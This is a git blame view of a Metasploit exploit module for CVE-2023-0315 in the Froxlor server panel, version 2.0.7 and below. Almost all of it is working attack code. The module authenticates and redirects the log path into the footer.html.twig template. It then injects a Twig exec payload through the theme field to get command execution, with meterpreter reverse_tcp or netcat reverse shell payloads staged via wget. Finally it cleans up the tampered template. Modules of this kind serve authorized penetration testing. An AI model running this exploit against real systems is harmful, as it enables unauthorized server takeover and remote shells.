Files
metasploit-gs/modules/exploits/linux/http/froxlor_log_path_rce.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

266 lines
11 KiB
Ruby
Raw Normal View History

2023-02-08 18:14:11 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
2023-02-13 19:39:18 -05:00
'Name' => 'Froxlor Log Path RCE',
'Description' => %q{
2023-02-24 13:18:34 -05:00
Froxlor v2.0.7 and below suffer from a bug that allows authenticated users to change the application logs path
2023-02-08 18:14:11 -05:00
to any directory on the OS level which the user www-data can write without restrictions from the backend which
leads to writing a malicious Twig template that the application will render. That will lead to achieving a
remote command execution under the user www-data.
2023-02-13 19:39:18 -05:00
},
'Author' => [
'Askar', # discovery
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://shells.systems/author/askar/'],
[ 'CVE', '2023-0315']
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
2023-02-08 18:14:11 -05:00
'Targets' => [
[
'Linux ',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
2023-02-13 19:39:18 -05:00
'CmdStagerFlavor' => ['wget'],
2023-02-08 18:14:11 -05:00
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
2023-02-13 19:39:18 -05:00
'Unix Command',
2023-02-08 18:14:11 -05:00
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
2023-02-13 19:39:18 -05:00
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }
2023-02-08 18:14:11 -05:00
}
]
],
'DefaultTarget' => 0,
'Notes' => {
2023-02-13 19:39:18 -05:00
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
2023-02-08 18:14:11 -05:00
'DisclosureDate' => '2023-01-29'
)
)
register_options(
[
2023-02-13 19:39:18 -05:00
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', '']),
OptString.new('TARGETURI', [true, 'The base path to the vulnerable Froxlor instance', '/froxlor']),
2023-02-13 19:56:23 -05:00
OptString.new('WEB_ROOT', [true, 'The webroot ', '/var/www/html'])
2023-02-13 19:39:18 -05:00
]
)
2023-02-08 18:14:11 -05:00
end
def login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'keep_cookies' => true,
'vars_post' => {
'loginname' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'send' => 'send',
'dologin' => ''
}
)
if res && (res.code == 302 && res.headers.include?('Location') && res.headers['Location'] == 'admin_index.php')
2023-02-13 19:39:18 -05:00
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
'keep_cookies' => true
)
print_good('Successful login')
2023-02-08 18:14:11 -05:00
true
else
false
end
end
def check
begin
@authenticated = login
rescue InvalidRequest, InvalidResponse => e
return Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}")
end
2023-02-08 18:14:11 -05:00
2023-02-13 19:39:18 -05:00
version_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor'
2023-02-08 18:14:11 -05:00
res = send_request_cgi(
'method' => 'GET',
2023-02-13 19:39:18 -05:00
'uri' => normalize_uri(target_uri.path, version_url),
'keep_cookies' => true
2023-02-08 18:14:11 -05:00
)
2023-02-13 19:39:18 -05:00
if res.nil? || res.code != 200
Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}")
else
2023-02-16 10:33:15 -05:00
version = res.get_html_document.at('body/span/text()')
if version
2023-02-24 13:18:34 -05:00
if Rex::Version.new('2.0.7') >= Rex::Version.new(version)
2023-02-16 10:33:15 -05:00
Exploit::CheckCode::Appears("Vulnerable version found: #{version}")
2023-02-24 13:18:34 -05:00
else
Exploit::CheckCode::Safe("Non-vulnerable version found: #{version}")
2023-02-13 19:39:18 -05:00
end
else
2023-02-24 13:33:10 -05:00
Exploit::CheckCode::Unknown("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")
2023-02-13 19:39:18 -05:00
end
end
2023-02-08 18:14:11 -05:00
end
def get_csrf_token(url)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, url),
2023-02-13 19:39:18 -05:00
'keep_cookies' => true
)
2023-02-08 18:14:11 -05:00
2023-02-22 00:33:40 -05:00
fail_with(Failure::UnexpectedReply, "Failed to get csrf token from #{normalize_uri(target_uri.path, url)}") unless (!res.nil? || res.code == 200)
csrf_token = res.get_html_document.at('//input[@name="csrf_token"]/@value')&.text
fail_with(Failure::UnexpectedReply, "No CSRF token found when querying #{normalize_uri(target_uri.path, url)}.") unless csrf_token
print_good("CSRF token is : #{csrf_token}")
csrf_token
2023-02-08 18:14:11 -05:00
end
2023-02-13 19:39:18 -05:00
def change_log_path(new_logfile)
2023-02-08 18:14:11 -05:00
mime = Rex::MIME::Message.new
mime.add_part('0', nil, nil, 'form-data; name="logger_enabled"')
mime.add_part('1', nil, nil, 'form-data; name="logger_enabled"')
mime.add_part('2', nil, nil, 'form-data; name="logger_severity"')
mime.add_part('file', nil, nil, 'form-data; name="logger_logtypes[]"')
mime.add_part(new_logfile, nil, nil, 'form-data; name="logger_logfile"')
2023-02-13 19:39:18 -05:00
mime.add_part('0', nil, nil, 'form-data; name="logger_log_cron"')
mime.add_part(@csrf_token, nil, nil, 'form-data; name="csrf_token"')
mime.add_part('overview', nil, nil, 'form-data; name="page"')
2023-02-08 18:14:11 -05:00
mime.add_part('', nil, nil, 'form-data; name="action"')
mime.add_part('send', nil, nil, 'form-data; name="send"')
2023-02-13 19:39:18 -05:00
res = send_request_cgi(
2023-02-08 18:14:11 -05:00
'method' => 'POST',
2023-02-13 19:39:18 -05:00
'uri' => normalize_uri(target_uri.path, '/admin_settings.php?'),
'vars_get' => { 'page' => 'overview', 'part' => 'logging' },
2023-02-08 18:14:11 -05:00
'keep_cookies' => true,
2023-02-13 19:39:18 -05:00
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
2023-02-08 18:14:11 -05:00
)
2023-02-13 19:39:18 -05:00
if res && res.code == 200 && res.body.include?('The settings have been successfully saved')
return true
2023-02-08 18:14:11 -05:00
end
false
end
def execute_command(cmd, _opts = {})
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
'keep_cookies' => true,
2023-02-13 19:39:18 -05:00
'vars_post' => {
'theme' => "{{['#{cmd}']|filter('exec')}}",
'csrf_token' => @csrf_token,
'page' => 'change_theme',
'send' => 'send',
'dosave' => ''
}
)
2023-02-08 18:14:11 -05:00
2023-02-13 19:39:18 -05:00
if res && res.code == 302 && res.headers['Location']
2023-02-08 18:14:11 -05:00
if res.headers['Location'] == 'admin_index.php'
print_good('Injected payload successfully')
2023-02-13 19:56:23 -05:00
print_status("Changing log path back to default value while triggering payload: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
2023-02-08 18:14:11 -05:00
end
2023-02-13 19:39:18 -05:00
else
print_error('did not inject payload successfully')
2023-02-08 18:14:11 -05:00
end
end
def exploit
fail_with(Failure::NoAccess, 'Failed to login') unless @authenticated || login
2023-02-13 19:39:18 -05:00
@csrf_token = get_csrf_token('/admin_settings.php?page=overview&part=logging')
2023-02-08 18:14:11 -05:00
2023-02-13 19:56:23 -05:00
if change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
print_good("Changed logfile path to: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
2023-02-08 18:14:11 -05:00
case target['Type']
when :unix_memory
2023-02-13 19:39:18 -05:00
execute_command(payload.encoded)
2023-02-08 18:14:11 -05:00
when :linux_dropper
execute_cmdstager
2023-02-13 19:39:18 -05:00
else
print_error('Please enter valid target')
2023-02-08 18:14:11 -05:00
end
2023-02-13 19:39:18 -05:00
else
fail_with(Failure::UnexpectedReply, 'Failed to change the log path. The target might not be exploitable')
2023-02-08 18:14:11 -05:00
end
end
2023-02-13 19:39:18 -05:00
def on_new_session(session)
super
# Original footer.html.twig file
footer_html_twig = <<~EOF
<footer class="text-center mb-3">
<span>
<img src="{{ basehref|default("") }}templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/>
{% if install_mode is not defined %}
{% if (get_setting('admin.show_version_login') == '1'
and area == 'login') or (area != 'login'
and get_setting('admin.show_version_footer') == '1') %}
{{ call_static('\\Froxlor\\Froxlor', 'getFullVersion') }}
{% endif %}
{% endif %}
&copy; 2009-{{ "now"|date("Y") }} by <a href="https://www.froxlor.org/" rel="external" target="_blank">the Froxlor Team</a><br>
{% if install_mode is not defined %}
{% if (get_setting('panel.imprint_url') != '') %}<a href="{{ get_setting('panel.imprint_url') }}" target="_blank" class="footer-link">{{ lng('imprint') }}</a>{% endif %}
{% if (get_setting('panel.terms_url') != '') %}<a href="{{ get_setting('panel.terms_url') }}" target="_blank" class="footer-link">{{ lng('terms') }}</a>{% endif %}
{% if (get_setting('panel.privacy_url') != '') %}<a href="{{ get_setting('panel.privacy_url') }}" target="_blank" class="footer-link">{{ lng('privacy') }}</a>{% endif %}
{% endif %}
</span>
{% if lng('translator') %}
<br/>
<small class="mt-3">{{ lng('panel.translator') }}: {{ lng('translator') }}</small>
{% endif %}
</footer>
2023-02-14 10:39:47 -05:00
EOF
2023-02-13 19:39:18 -05:00
if session.type == 'meterpreter'
print_status('Deleting tampered footer.html.twig file')
2023-02-13 19:56:23 -05:00
filename = "#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig"
2023-02-13 19:39:18 -05:00
session.fs.file.rm(filename)
fd = session.fs.file.new(filename, 'wb')
print_status('Rewriting clean footer.html.twig file')
fd.write(footer_html_twig)
fd.close
else
2023-02-16 13:14:24 -05:00
print_status('Cleaning tampered footer.html.twig file')
# Remove all log lines added to footer.html.twig by the exploit
# (all log lines start with an opening square bracket ex: [2023-02-16 09:08:28] froxlor.INFO: [API] ...)
session.shell_command_token("sed '/^\\[/d' #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig > #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
session.shell_command_token("mv -f #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
session.shell_command_token("rm #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
2023-02-13 19:39:18 -05:00
end
end
end